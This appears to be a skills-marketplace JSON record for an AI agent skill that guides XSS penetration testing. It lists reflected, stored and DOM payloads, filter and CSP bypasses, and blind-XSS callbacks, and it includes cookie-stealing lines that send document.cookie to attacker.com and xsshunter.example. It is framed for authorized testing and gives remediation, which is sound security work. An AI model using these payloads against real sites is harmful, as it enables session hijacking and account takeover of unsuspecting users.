[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M71GX8ZH8W04TYEZ6BAFDGH7":3,"skill-same:01M71GX8ZH8W04TYEZ6BAFDGH7":97},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":23,"publishedAt":44,"linkOnly":45,"markdownContent":46,"markdownBody":47,"frontMatter":48,"refName":70,"commitSha":71,"skillDirectory":72,"forksCount":14,"repositoryHtmlUrl":73,"repositoryHomepageUrl":6,"ownerHtmlUrl":74,"ownerBlogUrl":6,"ownerDescription":75,"updatedAt":76,"install":77,"resources":90},"01M71GX8ZH8W04TYEZ6BAFDGH7","injection-xss-bypass",null,"Tests web applications for Cross-Site Scripting (XSS) vulnerabilities by injecting JavaScript payloads into reflected, stored, and DOM-based contexts to demonstrate client-side code execution, session hijacking, and user impersonation. The tester identifies all injection points and output contexts, crafts context-appropriate payloads, and bypasses sanitization and CSP protections. Activates for requests involving XSS testing, cross-site scripting assessment, client-side injection testing, or JavaScript injection vulnerability testing.","DCx7C5\u002Fai-marketplace","DCx7C5","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42419559?v=4","01M71C01G2AZV3NTNGWAWSHJPP","DC","01M71C01GQW6G50S2BYMS7PP3E",0,"MIT","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fweb-application\u002Finjection\u002Fxss\u002Fbypass\u002FSKILL.md",[18],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",[24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43],"injection","injection xss bypass","xss","t1003","security","sanitization","owasp","OWASP-A03","read","de","JavaScript-injection","client-side-security","cross-site-scripting","vulnerability","code","Bash","cybersecurity","assessment","testing","t1566","2026-11-10 10:12:30",false,"---\nname: injection-xss-bypass\ndescription: Tests web applications for Cross-Site Scripting (XSS) vulnerabilities by injecting JavaScript payloads into reflected, stored, and DOM-based contexts to demonstrate client-side code execution, session hijacking, and user impersonation. The tester identifies all injection points and output contexts, crafts context-appropriate payloads, and bypasses sanitization and CSP protections. Activates for requests involving XSS testing, cross-site scripting assessment, client-side injection testing, or JavaScript injection vulnerability testing.\ndomain: cybersecurity\nsubdomain: penetration-testing\ntags:\n- XSS\n- cross-site-scripting\n- client-side-security\n- OWASP-A03\n- JavaScript-injection\nnist_csf:\n- ID.RA-01\n- ID.RA-06\n- GV.OV-02\n- DE.AE-07\nmodel: sonnet\nmaxTurns: 20\ntools: [Read, Bash, Glob, Grep]\nmitre_attack:\n- T1003\n- T1189\n- T1566\ncwe:\n- CWE-79\ncapec: []\n---\n\n# Testing for XSS Vulnerabilities\n\n## When to Use\n\n- Testing web applications for client-side injection vulnerabilities as part of OWASP WSTG testing\n- Evaluating the effectiveness of input sanitization and output encoding across all application features\n- Assessing the protection provided by Content Security Policy (CSP) headers against XSS exploitation\n- Demonstrating the impact of XSS through session hijacking, credential theft, or phishing overlay to stakeholders\n- Testing single-page applications (React, Angular, Vue) for DOM-based XSS in client-side routing and rendering\n\n**Do not use** against applications without written authorization, for deploying persistent XSS payloads that affect real users, or for exfiltrating actual user session tokens from production environments.\n\n## Prerequisites\n\n- Authorized scope defining the target web application and acceptable testing activities\n- Burp Suite Professional with XSS-focused extensions (XSS Validator, Reflector, Active Scan++)\n- Browser with developer tools and XSS testing extensions (HackBar, XSS Hunter)\n- XSS Hunter or Burp Collaborator for out-of-band payload verification\n- SecLists XSS payload lists and custom payloads for WAF bypass scenarios\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1: Input and Output Mapping\n\nMap every location where user input enters and is rendered by the application:\n\n- **Reflected inputs**: Test every URL parameter, search field, error message, and HTTP header value that is reflected in the response\n- **Stored inputs**: Identify features where input is saved and displayed later: user profiles, comments, forum posts, file names, support tickets, and chat messages\n- **DOM inputs**: Identify client-side JavaScript that reads from `location.hash`, `location.search`, `document.referrer`, `window.name`, `postMessage`, or `localStorage` and writes to the DOM\n- **Output context identification**: For each reflected input, determine the rendering context:\n  - HTML body: `\u003Cdiv>USER_INPUT\u003C\u002Fdiv>`\n  - HTML attribute: `\u003Cinput value=\"USER_INPUT\">`\n  - JavaScript string: `var x = 'USER_INPUT';`\n  - URL context: `\u003Ca href=\"USER_INPUT\">`\n  - CSS context: `\u003Cdiv style=\"color: USER_INPUT\">`\n\n### Step 2: Reflected XSS Testing\n\nTest reflected injection points with context-appropriate payloads:\n\n- **HTML body context**: `\u003Cscript>alert(document.domain)\u003C\u002Fscript>`, `\u003Cimg src=x onerror=alert(1)>`, `\u003Csvg onload=alert(1)>`\n- **HTML attribute context**: `\" onfocus=alert(1) autofocus=\"`, `\" onmouseover=alert(1) \"`, `\">\u003Cscript>alert(1)\u003C\u002Fscript>`\n- **JavaScript string context**: `';alert(1)\u002F\u002F`, `\\';alert(1)\u002F\u002F`, `\u003C\u002Fscript>\u003Cscript>alert(1)\u003C\u002Fscript>`\n- **URL\u002Fhref context**: `javascript:alert(1)`, `data:text\u002Fhtml,\u003Cscript>alert(1)\u003C\u002Fscript>`\n- **Inside HTML comments**: `-->\u003Cscript>alert(1)\u003C\u002Fscript>\u003C!--`\n- **Filter bypass payloads** (when basic payloads are blocked):\n  - Case variation: `\u003CScRiPt>alert(1)\u003C\u002FsCrIpT>`\n  - Event handlers: `\u003Cdetails open ontoggle=alert(1)>`\n  - SVG: `\u003Csvg>\u003Canimate onbegin=alert(1) attributeName=x>`\n  - Encoding: `\u003Cimg src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>`\n\n### Step 3: Stored XSS Testing\n\nTest persistent storage points that render input to other users:\n\n- Submit XSS payloads to every stored input field identified in Step 1\n- Use a unique identifier in each payload to track which inputs trigger: `\u003Cscript>alert('XSS-PROFILE-001')\u003C\u002Fscript>`\n- Check all locations where the stored input is rendered (the same input may appear on multiple pages)\n- Test file upload features with HTML files containing JavaScript, SVG files with embedded scripts, and filenames containing XSS payloads\n- Test rich text editors by injecting payloads through the raw HTML mode or by manipulating the POST data after the client-side editor sanitizes\n- Use XSS Hunter payloads (`\">\u003Cscript src=https:\u002F\u002Fyourxsshunter.xss.ht>\u003C\u002Fscript>`) for blind stored XSS where the payload fires in an admin panel or internal tool you cannot directly access\n\n### Step 4: DOM-Based XSS Testing\n\nAnalyze client-side JavaScript for unsafe DOM manipulation:\n\n- **Source identification**: Search JavaScript for dangerous sources that read attacker-controlled input:\n  - `document.location`, `document.URL`, `document.referrer`\n  - `location.hash`, `location.search`, `location.href`\n  - `window.name`, `postMessage` event data\n- **Sink identification**: Search for dangerous sinks that write to the DOM:\n  - `innerHTML`, `outerHTML`, `document.write()`, `document.writeln()`\n  - `eval()`, `setTimeout()`, `setInterval()`, `Function()`\n  - `element.setAttribute()` with event handlers, `jQuery.html()`, `.append()`, `v-html` (Vue), `dangerouslySetInnerHTML` (React)\n- **Trace data flow**: Follow the path from source to sink. If user-controlled input reaches a dangerous sink without proper sanitization, DOM XSS exists.\n- **Framework-specific testing**: Test React `dangerouslySetInnerHTML`, Angular template injection (`{{constructor.constructor('alert(1)')()}}`), Vue `v-html` directive\n\n### Step 5: CSP Bypass and Advanced Exploitation\n\nTest Content Security Policy effectiveness and demonstrate real-world impact:\n\n- **CSP analysis**: Review the CSP header for weaknesses:\n  - `unsafe-inline` in script-src allows inline scripts\n  - `unsafe-eval` allows eval() and similar functions\n  - Wildcard domains (`*.googleapis.com`) may host JSONP endpoints usable for CSP bypass\n  - `base-uri` not set allows `\u003Cbase>` tag injection to redirect relative script loads\n- **JSONP bypass**: If CSP allows a domain with JSONP endpoints, use `\u003Cscript src=\"https:\u002F\u002Fallowed-domain.com\u002Fjsonp?callback=alert(1)\">\u003C\u002Fscript>`\n- **Impact demonstration**:\n  - Session hijacking: `\u003Cscript>new Image().src=\"https:\u002F\u002Fattacker.com\u002Fsteal?c=\"+document.cookie\u003C\u002Fscript>`\n  - Credential phishing: Inject a fake login form overlay that submits to the attacker's server\n  - Keylogging: Inject JavaScript that captures keystrokes on the page\n  - Account takeover: Use XSS to change the victim's email address and trigger a password reset\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **Reflected XSS** | Non-persistent XSS where the injected payload is included in the server's response to the same request, requiring the victim to click a crafted URL |\n| **Stored XSS** | Persistent XSS where the payload is saved on the server and served to other users who view the affected page |\n| **DOM-Based XSS** | XSS that occurs entirely in the browser when client-side JavaScript reads attacker-controlled data and writes it to a dangerous DOM sink |\n| **Content Security Policy** | HTTP response header that restricts which sources the browser can load scripts, styles, and other resources from, providing defense-in-depth against XSS |\n| **Output Encoding** | Converting special characters to their HTML entity equivalents (e.g., `\u003C` to `&lt;`) to prevent the browser from interpreting user input as code |\n| **Sink** | A JavaScript function or DOM property that can cause code execution or HTML rendering if attacker-controlled data reaches it unsanitized |\n\n## Tools & Systems\n\n- **Burp Suite Professional**: HTTP proxy with active scanning for reflected and stored XSS, plus Repeater and Intruder for manual payload testing\n- **XSS Hunter**: Hosted service that generates payloads which phone home with screenshots, cookies, and DOM content when triggered, essential for blind stored XSS\n- **DOMPurify**: Client-side sanitization library used by developers to prevent XSS; testers should test for bypass techniques against the deployed version\n- **Browser Developer Tools**: Console, Network, and Elements tabs for tracing DOM-based XSS data flows and testing payloads in real-time\n\n## Common Scenarios\n\n### Scenario: Stored XSS in Customer Support Ticket System\n\n**Context**: An e-commerce platform has a customer support system where customers submit tickets that are viewed by support agents in an internal admin panel. The ticket submission form accepts HTML formatting.\n\n**Approach**:\n1. Submit a support ticket with a unique XSS Hunter payload in the ticket description\n2. The payload fires when a support agent views the ticket in the admin panel, sending a callback with the agent's session cookie, page DOM, and screenshot\n3. Use the captured admin session cookie to access the admin panel as the support agent\n4. From the admin panel, access customer records, order data, and refund functionality\n5. Document the attack chain: customer submits ticket -> agent views ticket -> XSS fires -> session stolen -> admin panel compromised\n6. Test if CSP would have prevented the attack (in this case, no CSP header was present)\n\n**Pitfalls**:\n- Only testing for `\u003Cscript>alert(1)\u003C\u002Fscript>` and missing XSS that fires through event handlers or in non-HTML contexts\n- Not testing stored XSS in features that render to administrative users (support tickets, user profiles viewed by admins)\n- Ignoring DOM-based XSS in single-page applications where the server-side code is secure but client-side rendering is vulnerable\n- Not checking for XSS in HTTP headers (Referer, User-Agent) that may be logged and rendered in admin dashboards\n\n## Output Format\n\n```\n## Finding: Stored XSS in Support Ticket Description\n\n**ID**: XSS-002\n**Severity**: High (CVSS 8.1)\n**Affected URL**: POST \u002Fapi\u002Ftickets (submission), GET \u002Fadmin\u002Ftickets\u002F8847 (trigger)\n**Parameter**: description (POST body)\n**XSS Type**: Stored (persistent)\n\n**Description**:\nThe support ticket description field does not sanitize HTML input before storing\nit in the database. When a support agent views the ticket in the admin panel, the\nunsanitized HTML is rendered in the agent's browser, allowing arbitrary JavaScript\nexecution in the context of the admin application.\n\n**Proof of Concept**:\nSubmitted ticket with payload:\n\u003Cimg src=x onerror=\"fetch('https:\u002F\u002Fxsshunter.example\u002Fcallback?c='+document.cookie)\">\n\nThe payload fired when the agent viewed the ticket, exfiltrating the admin session\ncookie to the XSS Hunter server.\n\n**Impact**:\nAn attacker can steal the session tokens of support agents and administrators,\ngaining access to the admin panel with privileges to view customer PII, process\nrefunds, and modify orders. Affects all 23 support agents who view customer tickets.\n\n**Remediation**:\n1. Implement output encoding using a context-aware library (OWASP Java Encoder,\n   DOMPurify for client-side rendering)\n2. Deploy Content Security Policy header:\n   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'\n3. Set HttpOnly flag on session cookies to prevent JavaScript access\n4. Sanitize HTML input server-side using a whitelist approach (allow only safe tags)\n```\n","# Testing for XSS Vulnerabilities\n\n## When to Use\n\n- Testing web applications for client-side injection vulnerabilities as part of OWASP WSTG testing\n- Evaluating the effectiveness of input sanitization and output encoding across all application features\n- Assessing the protection provided by Content Security Policy (CSP) headers against XSS exploitation\n- Demonstrating the impact of XSS through session hijacking, credential theft, or phishing overlay to stakeholders\n- Testing single-page applications (React, Angular, Vue) for DOM-based XSS in client-side routing and rendering\n\n**Do not use** against applications without written authorization, for deploying persistent XSS payloads that affect real users, or for exfiltrating actual user session tokens from production environments.\n\n## Prerequisites\n\n- Authorized scope defining the target web application and acceptable testing activities\n- Burp Suite Professional with XSS-focused extensions (XSS Validator, Reflector, Active Scan++)\n- Browser with developer tools and XSS testing extensions (HackBar, XSS Hunter)\n- XSS Hunter or Burp Collaborator for out-of-band payload verification\n- SecLists XSS payload lists and custom payloads for WAF bypass scenarios\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1: Input and Output Mapping\n\nMap every location where user input enters and is rendered by the application:\n\n- **Reflected inputs**: Test every URL parameter, search field, error message, and HTTP header value that is reflected in the response\n- **Stored inputs**: Identify features where input is saved and displayed later: user profiles, comments, forum posts, file names, support tickets, and chat messages\n- **DOM inputs**: Identify client-side JavaScript that reads from `location.hash`, `location.search`, `document.referrer`, `window.name`, `postMessage`, or `localStorage` and writes to the DOM\n- **Output context identification**: For each reflected input, determine the rendering context:\n  - HTML body: `\u003Cdiv>USER_INPUT\u003C\u002Fdiv>`\n  - HTML attribute: `\u003Cinput value=\"USER_INPUT\">`\n  - JavaScript string: `var x = 'USER_INPUT';`\n  - URL context: `\u003Ca href=\"USER_INPUT\">`\n  - CSS context: `\u003Cdiv style=\"color: USER_INPUT\">`\n\n### Step 2: Reflected XSS Testing\n\nTest reflected injection points with context-appropriate payloads:\n\n- **HTML body context**: `\u003Cscript>alert(document.domain)\u003C\u002Fscript>`, `\u003Cimg src=x onerror=alert(1)>`, `\u003Csvg onload=alert(1)>`\n- **HTML attribute context**: `\" onfocus=alert(1) autofocus=\"`, `\" onmouseover=alert(1) \"`, `\">\u003Cscript>alert(1)\u003C\u002Fscript>`\n- **JavaScript string context**: `';alert(1)\u002F\u002F`, `\\';alert(1)\u002F\u002F`, `\u003C\u002Fscript>\u003Cscript>alert(1)\u003C\u002Fscript>`\n- **URL\u002Fhref context**: `javascript:alert(1)`, `data:text\u002Fhtml,\u003Cscript>alert(1)\u003C\u002Fscript>`\n- **Inside HTML comments**: `-->\u003Cscript>alert(1)\u003C\u002Fscript>\u003C!--`\n- **Filter bypass payloads** (when basic payloads are blocked):\n  - Case variation: `\u003CScRiPt>alert(1)\u003C\u002FsCrIpT>`\n  - Event handlers: `\u003Cdetails open ontoggle=alert(1)>`\n  - SVG: `\u003Csvg>\u003Canimate onbegin=alert(1) attributeName=x>`\n  - Encoding: `\u003Cimg src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>`\n\n### Step 3: Stored XSS Testing\n\nTest persistent storage points that render input to other users:\n\n- Submit XSS payloads to every stored input field identified in Step 1\n- Use a unique identifier in each payload to track which inputs trigger: `\u003Cscript>alert('XSS-PROFILE-001')\u003C\u002Fscript>`\n- Check all locations where the stored input is rendered (the same input may appear on multiple pages)\n- Test file upload features with HTML files containing JavaScript, SVG files with embedded scripts, and filenames containing XSS payloads\n- Test rich text editors by injecting payloads through the raw HTML mode or by manipulating the POST data after the client-side editor sanitizes\n- Use XSS Hunter payloads (`\">\u003Cscript src=https:\u002F\u002Fyourxsshunter.xss.ht>\u003C\u002Fscript>`) for blind stored XSS where the payload fires in an admin panel or internal tool you cannot directly access\n\n### Step 4: DOM-Based XSS Testing\n\nAnalyze client-side JavaScript for unsafe DOM manipulation:\n\n- **Source identification**: Search JavaScript for dangerous sources that read attacker-controlled input:\n  - `document.location`, `document.URL`, `document.referrer`\n  - `location.hash`, `location.search`, `location.href`\n  - `window.name`, `postMessage` event data\n- **Sink identification**: Search for dangerous sinks that write to the DOM:\n  - `innerHTML`, `outerHTML`, `document.write()`, `document.writeln()`\n  - `eval()`, `setTimeout()`, `setInterval()`, `Function()`\n  - `element.setAttribute()` with event handlers, `jQuery.html()`, `.append()`, `v-html` (Vue), `dangerouslySetInnerHTML` (React)\n- **Trace data flow**: Follow the path from source to sink. If user-controlled input reaches a dangerous sink without proper sanitization, DOM XSS exists.\n- **Framework-specific testing**: Test React `dangerouslySetInnerHTML`, Angular template injection (`{{constructor.constructor('alert(1)')()}}`), Vue `v-html` directive\n\n### Step 5: CSP Bypass and Advanced Exploitation\n\nTest Content Security Policy effectiveness and demonstrate real-world impact:\n\n- **CSP analysis**: Review the CSP header for weaknesses:\n  - `unsafe-inline` in script-src allows inline scripts\n  - `unsafe-eval` allows eval() and similar functions\n  - Wildcard domains (`*.googleapis.com`) may host JSONP endpoints usable for CSP bypass\n  - `base-uri` not set allows `\u003Cbase>` tag injection to redirect relative script loads\n- **JSONP bypass**: If CSP allows a domain with JSONP endpoints, use `\u003Cscript src=\"https:\u002F\u002Fallowed-domain.com\u002Fjsonp?callback=alert(1)\">\u003C\u002Fscript>`\n- **Impact demonstration**:\n  - Session hijacking: `\u003Cscript>new Image().src=\"https:\u002F\u002Fattacker.com\u002Fsteal?c=\"+document.cookie\u003C\u002Fscript>`\n  - Credential phishing: Inject a fake login form overlay that submits to the attacker's server\n  - Keylogging: Inject JavaScript that captures keystrokes on the page\n  - Account takeover: Use XSS to change the victim's email address and trigger a password reset\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **Reflected XSS** | Non-persistent XSS where the injected payload is included in the server's response to the same request, requiring the victim to click a crafted URL |\n| **Stored XSS** | Persistent XSS where the payload is saved on the server and served to other users who view the affected page |\n| **DOM-Based XSS** | XSS that occurs entirely in the browser when client-side JavaScript reads attacker-controlled data and writes it to a dangerous DOM sink |\n| **Content Security Policy** | HTTP response header that restricts which sources the browser can load scripts, styles, and other resources from, providing defense-in-depth against XSS |\n| **Output Encoding** | Converting special characters to their HTML entity equivalents (e.g., `\u003C` to `&lt;`) to prevent the browser from interpreting user input as code |\n| **Sink** | A JavaScript function or DOM property that can cause code execution or HTML rendering if attacker-controlled data reaches it unsanitized |\n\n## Tools & Systems\n\n- **Burp Suite Professional**: HTTP proxy with active scanning for reflected and stored XSS, plus Repeater and Intruder for manual payload testing\n- **XSS Hunter**: Hosted service that generates payloads which phone home with screenshots, cookies, and DOM content when triggered, essential for blind stored XSS\n- **DOMPurify**: Client-side sanitization library used by developers to prevent XSS; testers should test for bypass techniques against the deployed version\n- **Browser Developer Tools**: Console, Network, and Elements tabs for tracing DOM-based XSS data flows and testing payloads in real-time\n\n## Common Scenarios\n\n### Scenario: Stored XSS in Customer Support Ticket System\n\n**Context**: An e-commerce platform has a customer support system where customers submit tickets that are viewed by support agents in an internal admin panel. The ticket submission form accepts HTML formatting.\n\n**Approach**:\n1. Submit a support ticket with a unique XSS Hunter payload in the ticket description\n2. The payload fires when a support agent views the ticket in the admin panel, sending a callback with the agent's session cookie, page DOM, and screenshot\n3. Use the captured admin session cookie to access the admin panel as the support agent\n4. From the admin panel, access customer records, order data, and refund functionality\n5. Document the attack chain: customer submits ticket -> agent views ticket -> XSS fires -> session stolen -> admin panel compromised\n6. Test if CSP would have prevented the attack (in this case, no CSP header was present)\n\n**Pitfalls**:\n- Only testing for `\u003Cscript>alert(1)\u003C\u002Fscript>` and missing XSS that fires through event handlers or in non-HTML contexts\n- Not testing stored XSS in features that render to administrative users (support tickets, user profiles viewed by admins)\n- Ignoring DOM-based XSS in single-page applications where the server-side code is secure but client-side rendering is vulnerable\n- Not checking for XSS in HTTP headers (Referer, User-Agent) that may be logged and rendered in admin dashboards\n\n## Output Format\n\n```\n## Finding: Stored XSS in Support Ticket Description\n\n**ID**: XSS-002\n**Severity**: High (CVSS 8.1)\n**Affected URL**: POST \u002Fapi\u002Ftickets (submission), GET \u002Fadmin\u002Ftickets\u002F8847 (trigger)\n**Parameter**: description (POST body)\n**XSS Type**: Stored (persistent)\n\n**Description**:\nThe support ticket description field does not sanitize HTML input before storing\nit in the database. When a support agent views the ticket in the admin panel, the\nunsanitized HTML is rendered in the agent's browser, allowing arbitrary JavaScript\nexecution in the context of the admin application.\n\n**Proof of Concept**:\nSubmitted ticket with payload:\n\u003Cimg src=x onerror=\"fetch('https:\u002F\u002Fxsshunter.example\u002Fcallback?c='+document.cookie)\">\n\nThe payload fired when the agent viewed the ticket, exfiltrating the admin session\ncookie to the XSS Hunter server.\n\n**Impact**:\nAn attacker can steal the session tokens of support agents and administrators,\ngaining access to the admin panel with privileges to view customer PII, process\nrefunds, and modify orders. Affects all 23 support agents who view customer tickets.\n\n**Remediation**:\n1. Implement output encoding using a context-aware library (OWASP Java Encoder,\n   DOMPurify for client-side rendering)\n2. Deploy Content Security Policy header:\n   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'\n3. Set HttpOnly flag on session cookies to prevent JavaScript access\n4. Sanitize HTML input server-side using a whitelist approach (allow only safe tags)\n```\n",{"cwe":49,"name":5,"tags":51,"capec":53,"model":54,"tools":55,"domain":40,"maxTurns":59,"nist_csf":60,"subdomain":65,"description":7,"mitre_attack":66},[50],"CWE-79",[52,36,35,31,34],"XSS",[],"sonnet",[56,39,57,58],"Read","Glob","Grep",20,[61,62,63,64],"ID.RA-01","ID.RA-06","GV.OV-02","DE.AE-07","penetration-testing",[67,68,69],"T1003","T1189","T1566","main","a91f1293287ffa9f4f1b8f486cd6e835a1568c84","skills\u002Fweb-application\u002Finjection\u002Fxss\u002Fbypass","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace","https:\u002F\u002Fgithub.com\u002FDCx7C5","#Python","2026-09-01 11:21:00",{"source":8,"skillName":5,"commands":78,"prompt":88,"zipAvailable":89},[79,82,85],{"tool":80,"command":81},"npx","npx skills add DCx7C5\u002Fai-marketplace --skill injection-xss-bypass",{"tool":83,"command":84},"bunx","bunx skills add DCx7C5\u002Fai-marketplace --skill injection-xss-bypass",{"tool":86,"command":87},"pnpm","pnpm dlx skills add DCx7C5\u002Fai-marketplace --skill injection-xss-bypass","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fweb-application\u002Finjection\u002Fxss\u002Fbypass\u002FSKILL.md",true,[91],{"path":92,"resourceType":93,"resourceTypeDesc":94,"sizeBytes":95,"sourceHtmlUrl":96},"index.json","REFERENCE","参考文档",691,"https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fweb-application\u002Finjection\u002Fxss\u002Fbypass\u002Findex.json",[98,122,143,164,186,201],{"skillNo":99,"name":100,"nameZh":6,"description":101,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":102,"categories":103,"keywords":104,"publishedAt":44},"01M71HAPZ01KQ30RKTB0FFSQ05","services-wmi-persistence-detect","Detect WMI event subscription persistence by enumerating ActiveScriptEventConsumer, CommandLineEventConsumer, and permanent subscriptions in the WMI repository.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fpersistence\u002Fdetect\u002FSKILL.md",[],[105,106,107,108,109,33,110,111,112,113,114,115,116,117,118,119,120,40,121],"services","detect","services wmi persistence detect","wmi","persistence","cm","process","activescript","event","subscriptions","commandline-consumer","repository","subscription","event-subscription","t1546.003","forensics","process-forensics",{"skillNo":123,"name":124,"nameZh":6,"description":125,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":126,"categories":127,"keywords":128,"publishedAt":44},"01M71HAK6JTTTS229T17WJMMCG","services-wmi-exec-exploit","Perform lateral movement across Windows networks using WMI-based remote execution techniques including Impacket wmiexec.py, CrackMapExec, and native WMI commands for stealthy post-exploitation during red team engagements.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fexec\u002Fexploit\u002FSKILL.md",[],[129,105,130,108,131,132,133,40,39,134,135,136,137,138,33,139,140,32,141,142],"exploit","services wmi exec exploit","exec","remote","traffic","analysis","team","across","crackmapexec","native","command","lateral movement","lateral-movement","Impacket",{"skillNo":144,"name":145,"nameZh":6,"description":146,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":147,"categories":148,"keywords":149,"publishedAt":44},"01M71HAG6MHKNQV8KDZKMT4886","registry-artifact-extract","Extract and analyze Windows Registry hives to uncover user activity, installed software, autostart entries, and evidence of system compromise.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fregistry\u002Fartifact\u002Fextract\u002FSKILL.md",[],[150,151,152,153,154,155,40,39,156,134,157,158,33,32,159,160,161,162,163,54],"artifact","registry","registry artifact extract","extract","evidence-collection","artifact-analysis","collection","analyze","uncover","software","activity","digital-forensics","windows-registry","regripper",{"skillNo":165,"name":166,"nameZh":6,"description":167,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":168,"categories":169,"keywords":170,"publishedAt":44},"01M71HACR4A8XTWTTSXK4124AA","processes-token-impersonate-detect","Detect Windows token impersonation and privilege abuse including SeImpersonatePrivilege exploitation via Potato attacks and token stealing techniques.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Ftoken\u002Fimpersonate\u002Fdetect\u002FSKILL.md",[],[106,171,172,173,174,175,176,110,177,40,121,178,179,180,181,182,183,184,185,33],"processes token impersonate detect","token","processes","attacks","windows","escalation","techniques","privilege-escalation","seimpersonate","token-impersonation","printspoofer","exploitation","potato","impersonation","via",{"skillNo":187,"name":188,"nameZh":6,"description":189,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":190,"categories":191,"keywords":192,"publishedAt":44},"01M71HAABSB4Z6QFSXEG00R4RK","processes-thread-injection-detect","Detect Windows thread injection techniques including CreateRemoteThread, QueueUserAPC, NtCreateThreadEx, and thread hijacking via process memory analysis.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Fthread\u002Finjection\u002Fdetect\u002FSKILL.md",[],[193,194,106,24,173,175,195,110,196,177,40,121,134,197,198,199,200,185,33,111],"thread","processes thread injection detect","memory","process-injection","api","apc-injection","thread-injection","nt-api",{"skillNo":202,"name":203,"nameZh":6,"description":204,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":205,"categories":206,"keywords":207,"publishedAt":44},"01M71HA7H311V5G14WMX58HQSS","processes-hollow-technique-detect","Detect process hollowing (RunPE) by identifying processes with mismatched image paths between PEB and VAD tree, or unmapped PE headers in memory.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Fhollow\u002Ftechnique\u002Fdetect\u002FSKILL.md",[],[208,106,173,209,195,110,210,211,40,121,212,213,214,215,216,217,33,111,218,219],"processes hollow technique detect","tree","memory-forensics","process-hollow","peb","runpe","image","pe-header","in memory","with","mismatched","headers"]